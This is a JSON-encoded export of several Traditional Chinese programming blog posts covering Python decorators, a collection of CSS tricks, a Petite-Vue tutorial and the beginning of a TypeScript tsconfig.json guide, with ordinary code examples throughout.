classed-based decorator 的方法雖然不如以 function 方式實作直覺，但也很簡單，只要實作 __init__() 方法接受傳入函式，並且實作 __call__ 方法呼叫被傳入的函式即可，例如：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 class ClsDeco: def __init__(self, func): self.func = func def __call__(self): print(\u0026#34;before calling\u0026#34;, self.func.__name__) self.func() print(\u0026#34;after calling\u0026#34;, self.func.__name__) @ClsDeco def say_hello(): print(\u0026#34;Hello!\u0026#34;) say_hello() 執行結果：\n1 2 3 \u0026gt; before calling say_hello \u0026gt; Hello! \u0026gt; after calling say_hello 前述範例其實等同於下列形式， 也就是 ClsDeco(say_hello)() 的部分：\n1 2 3 4 5 6 7 8 9 10 11 12 13 class ClsDeco: def __init__(self, func): self.func = func def __call__(self): print(\u0026#34;before calling\u0026#34;, self.func.__name__) self.func() print(\u0026#34;after calling\u0026#34;, self.func.__name__) def say_hello(): print(\u0026#34;Hello!\u0026#34;) ClsDeco(say_hello)() 這就是關於 classed-based decorator 的簡單介紹。\n更複雜的 decorator - 可設定參數的裝飾子 學會 decorator 與 class-based decorator 之後，還可以進一步製造出更複雜的裝飾子，譬如接受參數設定的裝飾子，例如下列範例 @retry 裝飾子接受參數 max=3，改變裝飾子的行為：\n1 2 3 @retry(max=3) def get_stock_price(): pass 要怎麼解讀 @retry(max=3) 呢？其實就是 1 個函數回傳另 1 個裝飾子：\n1 2 3 4 5 r = retry(max=3) @r def get_stock_price(): pass 實作上就類似下列的程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def retry(max=1): class Wrapper: def __init__(self, func): self.func = func def __call__(self): retried = 0 while retried \u0026lt; max: try: self.func() except Exception: retried += 1 print(\u0026#39;Failed. Going to try again (\u0026#39;, retried, \u0026#39;)\u0026#39;) else: break return Wrapper @retry(max=3) def get_stock_price(): raise ValueError get_stock_price() 執行結果如下：\n1 2 3 \u0026gt; Failed. Going to try again ( 1 ) \u0026gt; Failed. Going to try again ( 2 ) \u0026gt; Failed. Going to try again ( 3 ) 從上述結果可以看到，我們藉著 1 個函數回傳另 1 個裝飾子的做法，成功讓裝飾子具有可設定的特性，不過相對也讓程式變了複雜一點。\n以上就是關於更複雜的 decorator 的介紹。\n總結 Decorator 是一個非常實用的模式/功能，它可以讓我們輕鬆地在既有基礎上疊加額外的功能，除了使程式碼更加簡潔、易讀之外，還可以增加複用性。\n不過由於 Decorator 可以不斷疊加的特性，甚至是可以多重包裝一個函式，有時候會適得其反，造成程式碼閱讀困難，使用上還是建議盡量保持單純為佳。\n如果你還沒有在 Python 專案中使用 decorator，現在是時候了！\n","date":"2023-03-16T00:00:00Z","image":"https://live.staticflickr.com/65535/52749963857_07e09e156b_o.png","permalink":"https://blog.wayne-project.com/2023-03-16/python-decorator-tutorial/","title":"【Python】裝飾子 (decorator) 教學"},{"content":" 參考網站\n參考網站\n🚨🚨 本文分享的所有 tips、tricks 都是 GitHub repository【css tips tricks】的一部分 🚨🚨\n技巧說明 Docs Layout 僅用兩行 CSS 建立響應式文件樣式的佈局。\n1 2 3 4 .parent { display: grid; grid-template-columns: minmax(150px, 25%) 1fr; } 自定義游標 查看 css tips tricks 以了解更多訊息。\n1 2 3 html { cursor: url(\u0026#39;no.png\u0026#39;), auto; } 用圖片填充文本 1 2 3 4 5 6 h1 { background-image: url(\u0026#39;images/flower.jpg\u0026#39;); background-clip: text; color: transparent; background-color: white; } 注意：在使用此技術時始終指定 background-color，因為這將用作後備值，以防圖像因某種原因無法加載。\n給文字加入描邊 使用 text-stroke 屬性使文本更易讀和可見，它會向文本加入筆劃或輪廓。\n1 2 3 4 5 6 /* 🎨 對 h1 元素應用 5px 寬的深紅色文本描邊 */ h1 { -webkit-text-stroke: 5px crimson; text-stroke: 5px crimson; } 暫停 Pseudo Class 使用 :paused 選擇器在暫停狀態下設置媒體元素的樣式 同樣 :paused 我們也有 :playing。\n目前僅 Safari 支持\n1 2 3 4 5 6 7 8 /* 目前僅 Safari 支持 */ video:paused { opacity: 0.6; } video:playing { opacity: 1; } 強調文字 使用 text-emphasis 屬性將強調標記應用於文本元素。您可以指定任何字串，包括表情符號作為其值。\n1 2 3 h1 { text-emphasis: \u0026#34;⏰\u0026#34;; } 樣式首字偽元素 避免不必要的 \u0026lt;span\u0026gt;，而是使用偽元素來為您的內容設置樣式，就像 first-letter 偽元素一樣，我們也有 first-line 偽元素。\n1 2 3 4 h1::first-letter { font-size: 2rem; color:#ff8A00; } 變數的回退值 1 2 3 4 5 6 7 8 9 10 /* 🎨 由於未定義 var(--black)，將 h1 回退為紅色 */ :root { --orange: orange; --coral: coral; } h1 { color: var(--black, red); } 改變書寫模式 您可以使用書寫模式屬性 writing-mode 來指定文本在您的網站上的佈局方式，即垂直或水平。\n1 \u0026lt;h1\u0026gt;Cakes \u0026amp; Bakes\u0026lt;/h1\u0026gt; 1 2 3 4 5 /* 💡 指定文字佈局方向為 sideways-lr */ h1 { writing-mode: sideways-lr; } 彩虹動畫 為元素建立連續循環的彩色動畫以吸引用戶注意力。\n閱讀 css tips tricks 以了解何時使用 prefer-reduced-motion 媒體功能。\n1 2 3 4 5 6 7 8 9 10 11 12 button { animation: rainbow-animation 200ms linear infinite; } @keyframes rainbow-animation { to { filter: hue-rotate(0deg); } from { filter: hue-rotate(360deg); } } Hover 時縮放 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /* 定義圖像容器的高度和寬度並隱藏溢出 */ .img-container { height: 250px; width: 250px; overflow: hidden; } /* 🖼️ 使容器內的圖像填滿容器 */ .img-container img { height: 100%; width: 100%; object-fit: cover; transition: transform 200m ease-in; } img:hover { transform: scale(1.2); } 屬性選擇器 使用屬性選擇器根據屬性選擇 HTML 元素。\n1 2 3 \u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;HTML\u0026lt;/a\u0026gt; \u0026lt;a\u0026gt;CSS\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;JavaScript\u0026lt;/a\u0026gt; 1 2 3 4 5 /* 🔗 以所有具有 href 屬性的元素為目標 */ a[href] { color: crimson; } 裁剪元素 使用 clip-path 屬性建立有趣的視覺效果，例如將元素剪裁成三角形或六邊形等自定義形狀。\n1 2 3 4 5 6 div { height: 150px; width: 150px; background-color: crimson; clip-path: polygon(50% 0%, 0% 100%, 100% 100%); } 檢測屬性是否支持 使用 CSS @support 規則 直接在您的 CSS 中檢測對 CSS 特性的支持。查看 css tips tricks 以了解有關功能查詢的更多訊息。\n1 2 3 4 5 6 @supports (accent-color: #74992e) { /* 如果支持該屬性，將運行的代碼 */ blockquote { color: crimson; } } CSS 嵌套 CSS 一直在研究如何向 CSS 加入嵌套。通過嵌套，您將能夠編寫更直觀、更有條理和更高效的 CSS。\n目前僅 Safari Technology Preview 支持\n1 2 3 \u0026lt;header class=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;text\u0026#34;\u0026gt;Lorem ipsum, dolor\u0026lt;/p\u0026gt; \u0026lt;/header\u0026gt; 1 2 3 4 5 6 7 8 9 /* 🎉 您現在可以在 Safari Technology Preview 中嘗試 CSS 嵌套 */ .header { background-color: salmon; .text{ font-size: 18px; } } 箝制函數 使用 clamp() 函數實現響應式和流暢的排版。\n1 2 3 4 /* Syntax: clamp(minimum, preferred, maximum) */ h1 { font-size: clamp(2.25rem,6vw,4rem); } 樣式化可選字段 你可以使用 :optional 偽類來設置表單字段的樣式，例如 input、select 和 textarea，這些字段沒有 required 屬性。\n1 2 3 4 5 /* 選擇頁面上的所有可選表單域 */ *:optional { background-color: green; } 字間距屬性 使用 word-spacing 屬性指定單詞之間的空格長度。\n1 2 3 p { word-spacing: 1.245rem; } 建立漸變陰影 這就是如何建立漸變陰影以獲得獨特的用戶體驗。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 :root{ --gradient: linear-gradient(to bottom right, crimson, coral); } div { height: 200px; width: 200px; background-image: var(--gradient); border-radius: 1rem; position: relative; } div::after { content: \u0026#34;\u0026#34;; position: absolute; inset: 0; background-image: var(--gradient); border-radius: inherit; filter: blur(25px) brightness(1.5); transform: translateY(15%) scale(0.95); z-index: -1; } 改變標題位置 使用 caption-side 屬性將表格標題（表格標題）放置在表格的指定一側。\n建立文本列 使用列屬性為文本元素製作漂亮的列佈局。\n1 2 3 4 5 6 7 /* 🏛️ 將 p 元素的內容分成 3 列 */ p { column-count: 3; column-gap: 4.45rem; column-rule: 2px dotted crimson; } BONUS(一)：穿透文字效果 使用 mix-blend-mode 製作穿透文字效果。\nMDN 的用法說明\nCan i use 瀏覽器支援度\n1 2 3 \u0026lt;div class=\u0026#34;image-container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;text\u0026#34;\u0026gt;NATURE\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .image-container { background-image: url(\u0026#34;img_nature.jpg\u0026#34;); background-size: cover; position: relative; height: 300px; } .text { background-color: white; color: black; font-size: 10vw; font-weight: bold; margin: 0 auto; padding: 10px; width: 50%; text-align: center; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); mix-blend-mode: screen; } 以上分享，希望對您有幫助！\n","date":"2023-03-16T00:00:00Z","image":"https://live.staticflickr.com/65535/52750778595_b25222270e_o.png","permalink":"https://blog.wayne-project.com/2023-03-16/css-21-tricks/","title":"21 個好用與特殊的 CSS 技巧！"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\nVue 可以作為獨立的腳本文件使用，無需構建步驟！如果你有一個非前後端分離的歷史項目，並且它已經渲染了大部分的 HTML，或者你的前端邏輯並不復雜，不需要構建步驟，Vue 也提供了另一個適用於此類無構建步驟場景的替代版 Petite-Vue，主要為漸進式增強已有的 HTML 作了特別的優化。功能更加精簡，十分輕量。\nPetite-Vue (GitHub) Petite-Vue (Gitee) Petite-Vue 的特點 相對 Vue3 而言，Petite-Vue 有如下特點：\n提供精簡版的與 Vue3 語法和表現一致的模板語言 僅由渲染模塊和響應式系統模塊組成 渲染模塊沒有採用虛擬 DOM，而是採用在線解析渲染的方式 響應式系統模塊對外暴露 reactive 接口提供構建全局狀態管理器的能力 代碼庫體積在 gzip 壓縮後 ~6KB，十分適合與項目已有的 LayUI、MiniUI 等 UI 庫搭配使用 什麼是 Petite-Vue？ 根據官方解釋，Petite-Vue 是專門為非前後端分離的歷史項目提供和 Vue 相近的響應式開發模式。與完整的 Vue 相比最大的特點是，面對數據的變化 Petite-Vue 採取直接操作 DOM 的方式重新渲染。\n具體的使用方式請參考 GitHub，在這裡我想展示兩個示例：\n代碼庫結構介紹 examples 各種使用示例 scripts 打包發布腳本 tests 測試用例 src directives v-if 等內置指令的實現 app.ts createApp 函數 block.ts 塊對象 context.ts 上下文對象 eval.ts 提供 v-if=\u0026quot;count === 1\u0026quot; 等表達式運算功能 scheduler.ts 調度器 utils.ts 工具函數 walk.ts 模板解析 若想構建自己的版本只需在控制台執行 npm run build 即可。\n範例(一) - 在線渲染 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;style\u0026gt; [v-cloak] { display: none; } \u0026lt;/style\u0026gt; \u0026lt;div v-scope=\u0026#34;App\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39; createApp({ App: { $template: ` \u0026lt;span v-cloak v-if=\u0026#34;status === \u0026#39;offline\u0026#39;\u0026#34;\u0026gt; OFFLINE \u0026lt;/span\u0026gt; \u0026lt;span v-else\u0026gt; ONLINE \u0026lt;/span\u0026gt; `, } status: \u0026#39;online\u0026#39; }).mount(\u0026#39;[v-scope]\u0026#39;) \u0026lt;/script\u0026gt; 上述代碼最終輸出結果為 \u0026lt;div\u0026gt;\u0026lt;span\u0026gt; ONLINE \u0026lt;/span\u0026gt;\u0026lt;/div\u0026gt;，但渲染過程是直接在 DOM Tree 上進行(分為如下4個步驟)，當瀏覽器資源緊張時整個渲染過程將會被用戶一覽無餘：\n生成模板 1 2 3 4 \u0026lt;div\u0026gt; \u0026lt;span v-cloak v-if=\u0026#34;status === \u0026#39;offline\u0026#39;\u0026#34;\u0026gt; OFFLINE \u0026lt;/span\u0026gt; \u0026lt;span v-else\u0026gt; ONLINE \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 移除 v-cloak 屬性 1 2 3 4 \u0026lt;div\u0026gt; \u0026lt;span v-if=\u0026#34;status === \u0026#39;offline\u0026#39;\u0026#34;\u0026gt; OFFLINE \u0026lt;/span\u0026gt; \u0026lt;span v-else\u0026gt; ONLINE \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 解析 v-if 和 v-else 指令 1 2 3 \u0026lt;div\u0026gt; \u0026lt;span v-if=\u0026#34;status === \u0026#39;offline\u0026#39;\u0026#34;\u0026gt; OFFLINE \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 1 2 \u0026lt;div\u0026gt; \u0026lt;/div\u0026gt; 最終渲染 1 2 3 \u0026lt;div\u0026gt; \u0026lt;span\u0026gt; ONLINE \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 那麼用戶很有可能會看到閃屏現象：ONLINE ➡️ OFFLINE ONLINE ➡️ OFFLINE ➡️ EMPTY ➡️ ONLINE\n範例(二) - 組件化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 \u0026lt;div v-scope=\u0026#34;App\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39; const App = { $template: ` \u0026lt;div v-scope=\u0026#34;Counter(1)\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div v-scope=\u0026#34;Message()\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; ` } const Counter = initialCount =\u0026gt; ({ $template: ` \u0026lt;span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;button @click=\u0026#34;handleAdd\u0026#34;\u0026gt;ADD\u0026lt;/button\u0026gt; `, count: initialCount || 0 handleAdd() { this.count += 1 } }) const Message = () =\u0026gt; { $template: `\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;` } createApp({ App, Counter, Message, }).mount(\u0026#39;[v-scope]\u0026#39;) \u0026lt;/script\u0026gt; Petite-Vue 雖然沒有提供明確的組件構建方式，但通過 v-scope 屬性我們依然可以採取組件化構建我們的頁面。\n但上述例子有明顯的問題採取全局組件註冊機制，如例子中即使 Message 組件不需要還是能引用 Counter 組件，假如註冊的不是 Counter 組件的構造函數，那麼 Counter 的狀態將會被意外修改。\n1 2 3 createApp({ Counter: Counter() }) 快速上手 自動初始化 Petite-Vue 無需構建流程即可使用。只需從 CDN 加載它：\n1 2 3 4 5 6 7 \u0026lt;script src=\u0026#34;https://unpkg.com/petite-vue\u0026#34; defer init\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- 頁面任意位置 --\u0026gt; \u0026lt;div v-scope=\u0026#34;{ count: 0 }\u0026#34;\u0026gt; {{ count }} \u0026lt;button @click=\u0026#34;count++\u0026#34;\u0026gt;inc\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; 用 v-scope 標記頁面上應由 Petite-Vue 控制的區域，同時也是聲明 data 與 methods。 該 defer 屬性使腳本在 HTML 內容被解析後執行。 該 init 屬性告訴 Petite-Vue 自動查找和初始化頁面上的所有包含 v-scope 的元素。 這裡的 init 其實也就是 PetiteVue.createApp().mount() 的簡潔寫法； 閱讀源碼可知： const s = document.currentScript; 如果 ( s \u0026amp;\u0026amp; s . hasAttribute ( \u0026lsquo;init \u0026rsquo; )) { createApp().mount(); } 如果不想自動初始化，那麼移除 init 屬性，且在 script 標籤中，增加 PetiteVue.createApp().mount()。 手動初始化 如果您不想要自動初始化，請刪除該 init 屬性並將腳本移動到 \u0026lt;body\u0026gt; 末尾：\n1 2 3 4 \u0026lt;script src=\u0026#34;https://unpkg.com/petite-vue\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; PetiteVue.createApp().mount() \u0026lt;/script\u0026gt; 或者，使用 ES 模塊構建：\n1 2 3 4 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39; createApp().mount() \u0026lt;/script\u0026gt; 重點：在開發時期，CDN 地址可以是 https://unpkg.com/petite-vue 這樣簡短的，但對於生產使用時，應該要使用完整解析的 CDN URL。\n如：https://unpkg.com/petite-vue@0.4.1/dist/petite-vue.iife.js 或者 https://unpkg.com/petite-vue@0.4.1/dist/petite-vue.es.js (ES 模塊引用時)，避免解析和重定向文本之外，還有避免版本不同導致項目出現意外情況。\n使用終端命令可以快速簡單下載代碼到本地：\n1 curl unpkg.com/petite-vue@0.4.1/dist/petite-vue.iife.js --output petite-vue@0.4.1-iife.js 根作用域 (Root Scope) / 作用域 (Scope) 這裡的作用域和我們編寫 JavaScript 時說的作用域是一致的，作用是限定函數和變量的可用範圍，減少命名衝突。具有如下特點：\n作用域之間存在父子關係和兄弟關係，整體構成一顆作用域樹。 子作用域的變量或屬性可覆蓋祖先作用域同名變量或屬性的訪問性。 若對僅祖先作用域存在的變量或屬性賦值，將賦值給祖先作用域的變量或屬性。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 全局作用域 var globalVariable = \u0026#39;hello\u0026#39; var message1 = \u0026#39;there\u0026#39; var message2 = \u0026#39;bye\u0026#39; (() =\u0026gt; { // 局部作用域 A let message1 = \u0026#39;局部作用域A\u0026#39; message2 = \u0026#39;see you\u0026#39; console.log(globalVariable, message1, message2) })() // 輸出：hello 局部作用域 A see you (() =\u0026gt; { // 局部作用域 B console.log(globalVariable, message1, message2) })() // 輸出：hello there see you createApp()，它接收一個數據對像作為根範圍中的變量，供模版中使用。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39;; createApp({ count: 0, // getters get plusOne() { return this.count + 1; }, increment() { this.count++; }, }).mount(); \u0026lt;/script\u0026gt; \u0026lt;!-- v-scope value can be omitted --\u0026gt; \u0026lt;div v-scope\u0026gt; \u0026lt;p\u0026gt;{{ count }}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{ plusOne }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;increment\u0026#34;\u0026gt;increment\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; 這樣在模版中就可以使用 count 變量、increment 方法了。\n掛載元素 (Mount) mount() 沒有傳入掛載元素時，Petite-Vue 作用於整個頁面，但當傳入掛載元素時，那麼僅作用於掛載元素及其內的元素。\n這也意味著，我們可以在同一頁面掛載多個 Petite-Vue 應用，每一個應用都有其獨立的根變量範圍。\n1 2 3 4 5 6 7 createApp({ // root scope for app one }).mount(\u0026#39;#app1\u0026#39;); createApp({ // root scope for app two }).mount(\u0026#39;#app2\u0026#39;); 生命週期 在 Petite-Vue 中，可以監聽每一個元素的掛載和卸載事件。\n在 v0.4.0 開始，綁定生命週期事件需要加上 @vue: 前綴。\n1 2 3 4 5 6 7 8 9 \u0026lt;!-- v0.4.0 以下 --\u0026gt; \u0026lt;div v-if=\u0026#34;show\u0026#34; @mounted=\u0026#34;console.log(\u0026#39;mounted on: \u0026#39;, $el)\u0026#34; @unmounted=\u0026#34;console.log(\u0026#39;unmounted: \u0026#39;, $el)\u0026#34;\u0026gt; some node \u0026lt;/div\u0026gt; \u0026lt;!-- v0.4.0 以上 --\u0026gt; \u0026lt;div v-if=\u0026#34;show\u0026#34; @vue:mounted=\u0026#34;console.log(\u0026#39;mounted on: \u0026#39;, $el)\u0026#34; @vue:unmounted=\u0026#34;console.log(\u0026#39;unmounted: \u0026#39;, $el)\u0026#34;\u0026gt; some node \u0026lt;/div\u0026gt; v-effect 用 v-effect 執行響應式內聯語句：\n1 2 3 4 \u0026lt;div v-scope=\u0026#34;{ count: 0 }\u0026#34;\u0026gt; \u0026lt;div v-effect=\u0026#34;$el.textContent = count\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;button @click=\u0026#34;count++\u0026#34;\u0026gt;++\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; effect 響應式的追蹤其依賴，並在依賴更改時重新執行，因此每當更改 count 時它都會重新運行。\n組件 (Component) 組件的概念在 Petite-Vue 中有所不同，因為它更加簡單。\n組件有兩種方式來創建，分別是純數據的函數組件和帶有模板的函數組件。\n使用組件，是需要在元素中用 v-scope 來調用函數。\n純數據的函數組件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39; function Counter(props) { return { count: props.initialCount, inc() { this.count++ }, mounted() { console.log(`I\u0026#39;m mounted!`) } } } createApp({ Counter }).mount() \u0026lt;/script\u0026gt; \u0026lt;div v-scope=\u0026#34;Counter({ initialCount: 1 })\u0026#34; @vue:mounted=\u0026#34;mounted\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ count }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;inc\u0026#34;\u0026gt;increment\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div v-scope=\u0026#34;Counter({ initialCount: 2 })\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ count }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;inc\u0026#34;\u0026gt;increment\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; 帶有模板的函數組件 如果還需要模板的話，相比函數組件是多了一個字段來聲明模板：$template，該字段的值可以是一個模板字符串，也可以是 \u0026lt;template\u0026gt; 元素的 ID 選擇器。(推薦用 template 元素)。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39;; function Counter(props) { return { $template: \u0026#39;#counter-template\u0026#39;, // $template: ` // My count is {{count}} // \u0026lt;button @click=\u0026#34;inc\u0026#34;\u0026gt;+aaa+\u0026lt;/button\u0026gt; // `, count: props.initialCount, inc() { this.count++; }, }; } createApp({ Counter, }).mount(); \u0026lt;/script\u0026gt; \u0026lt;template id=\u0026#34;counter-template\u0026#34;\u0026gt; My count is {{ count }} \u0026lt;button @click=\u0026#34;inc\u0026#34;\u0026gt;++\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;!-- reuse it --\u0026gt; \u0026lt;div v-scope=\u0026#34;Counter({ initialCount: 1 })\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div v-scope=\u0026#34;Counter({ initialCount: 2 })\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 全局狀態管理 沒錯，即便是簡單的 mini Vue，也可以有全局狀態管理。這裡使用的是 vue3 的 reactive API，來實現全局狀態管理。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { createApp, reactive } from \u0026#39;https://unpkg.com/petite-vue?module\u0026#39; const store = reactive({ count: 0, inc() { this.count++ } }) // manipulate it here store.inc() createApp({ // share it with app scopes store }).mount() \u0026lt;/script\u0026gt; \u0026lt;div v-scope=\u0026#34;{ localCount: 0 }\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Global {{ store.count }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;store.inc\u0026#34;\u0026gt;increment\u0026lt;/button\u0026gt; \u0026lt;p\u0026gt;Local {{ localCount }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;localCount++\u0026#34;\u0026gt;increment\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; 指令 (Directive) 內建指令 v-model v-if / v-else / v-else-if v-for v-show v-on(别名：@) v-bind(别名：:) v-html / v-text / v-pre v-once v-cloak (可用來配合 CSS 做未渲染時隱藏) 自定義指令 Petite-Vue 的自定義指令與 vue 有些不同，那麼怎麼註冊一個指令？\n指令聲明：一個函數，const myDirective = (ctx) =\u0026gt; {}; ctx 是一個對象，裡面有 el、arg、get、effect 等屬性，具體可以參考文檔或者閱讀源碼 函數 return，是在指令卸載時候會觸發。 註冊指令：createApp().directive('dir-name', dirFn).mount() v-html 指令的實現：\n1 2 3 4 5 6 const html = ({ el, get, effect }) =\u0026gt; { // effect 每次 get() 更改後就會執行 effect(() =\u0026gt; { el.innerHTML = get(); }); }; 自定義指令範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const myDirective = (ctx) =\u0026gt; { // the element the directive is on ctx.el // the raw value expression // e.g. v-my-dir=\u0026#34;x\u0026#34; then this would be \u0026#34;x\u0026#34; ctx.exp // v-my-dir:foo -\u0026gt; \u0026#34;foo\u0026#34; ctx.arg // v-my-dir.mod -\u0026gt; { mod: true } ctx.modifiers // evaluate the expression and get its value ctx.get() // evaluate arbitrary expression in current scope ctx.get(`${ctx.exp} + 10`) // run reactive effect ctx.effect(() =\u0026gt; { // this will re-run every time the get() value changes console.log(ctx.get()) }) return () =\u0026gt; { // cleanup if the element is unmounted } } // register the directive createApp().directive(\u0026#39;my-dir\u0026#39;, myDirective).mount() 自定義模板 這個可以通過給 createApp 的配置項增加屬性 $delimiters: ['${', '}'] 來實現，通常在服務器端模板語言一起使用時比較有用。\nPetite-Vue vs Vue Petite-Vue 僅有的特性：\nv-scope v-effect @vue:mounted、@vue:unmounted 事件 不同的功能：\n在表達式中，$el 指向指令綁定到的當前元素（而不是組件根元素） createApp() 接受全局狀態而不是組件 組件被簡化為函數返回對象 自定義指令有不同的語法 共用的特性：\n共有的特性 {{ }} v-bind v-on v-model v-if / v-else / v-else-if v-for v-show v-html v-text v-pre v-once v-cloak reactive() nextTick() Template refs Petite-Vue 不支持的特性：\n一些特性因為它們在漸進增強的背景下具有相對較低的使用頻率而被丟棄。\n如果你需要這些特性，你可能應該只使用標準的 Vue：\nref()、computed() 等組合式API Render functions ( Petite-Vue 沒有 Virtual DOM) Reactivity 響應式數據類型(Map、Set、\u0026hellip;等，為了體積更小而刪除) Transition、KeepAlive、Teleport、Suspense v-for 的深解構 v-on=\u0026quot;object\u0026quot; 對象語法 v-is 動態組件 v-bind:style 自動前綴 總結 總結來說，Petite-Vue 這個項目，挺適合「用不到 Vue、React 等這些偏大的前端框架的簡單頁面」，或是「既有的非前後端分離的歷史項目」來做使用的，有著 Vue 的開發體驗，也能不增加項目的複雜度，簡直是一個完美的體驗！\n","date":"2023-03-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52736941727_b3a1dcf3c3_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-10/petite-vue-introduction/","title":"【Petite-Vue】大小只有 ~6KB 的 mini Vue！"},{"content":" 參考網站\n參考網站\n參考網站\n本篇來簡單說明一下 typescript 的 tsconfig.json，並記錄一下 typescript 各個資料型別。\nTypeScript 是什麼？ ❓這個應該是大家都有犯的錯誤，下面這張圖你看到錯誤了嗎？\n.\n.\n.\n🅰️：就是寫錯字，record 少了個 s，有時候即使報 error 了，你還找不到。\nJavaScript 就是一個自由的靈魂，你永遠不知道你接了什麼物件，寫的時候很爽，debug 的時候黑人問號。\n✅ 而下面這張就引用了 TypeScript 的 interface 來定義物件的型別，讓你在開發的時候就可以馬上知道錯誤，減少了很多 debug 的時間。\ntsconfig.json tsconfig.json 是 typescript 編譯設定的文件。\n在目錄下執行以下指令，產生 tsconfig.json：\n1 tsc --init tsconfig.json 的預設 一開始我們拿到的 tsconfig 檔， 裡面的預設就有這些：\n1 2 3 4 5 6 7 8 9 10 { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;es5\u0026#34;, // 指定編譯生成的JS版本 \u0026#34;module\u0026#34;: \u0026#34;commonjs\u0026#34;, // 指定生成哪種模組 \u0026#34;strict\u0026#34;: true, // 啟用所有嚴格類型檢查選項 \u0026#34;esModuleInterop\u0026#34;: true, // 兼容模組導入的方式 \u0026#34;skipLibCheck\u0026#34;: true, // 不會檢查引入的函式庫檔案 \u0026#34;forceConsistentCasingInFileNames\u0026#34;: true // 確保檔案的大小寫一致 } } tsconfig.json 還有哪些設定？ 除了預設 compilerOptions 的設定外， 還有：\ncompileOnSave： 在最上層設定 compileOnSave 屬性，可以讓 IDE 編輯器在儲存檔案的時候根據 tsconfig.json 重新產生編譯檔案。 compilerOptions： 所有的編譯設定都會寫在 compilerOptions 裡， 我們一開始取得的預設設定就在 compilerOptions。 include： 指定編譯需要編譯的文件或目錄。 exclude： 指定編譯器需要排除的文件或文件夾。如默認排除 node_modules 文件夾。 include 及 exclude 最常見的萬用字元包括： *： 表示匹配0至多個字元(不包含分隔符號) ?： 匹配一個相符字元(不包含分隔符號) **/： 表示匹配所有子資料夾 extends： 引入其他配置檔案，繼承配置。default 包含當前目錄和子目錄下所有 TypeScript 文件。 files： files 的值為包含相對或絕對文件路徑的 list，表示需要編譯的文件。default 包含當前目錄和子目錄下所有 TypeScript 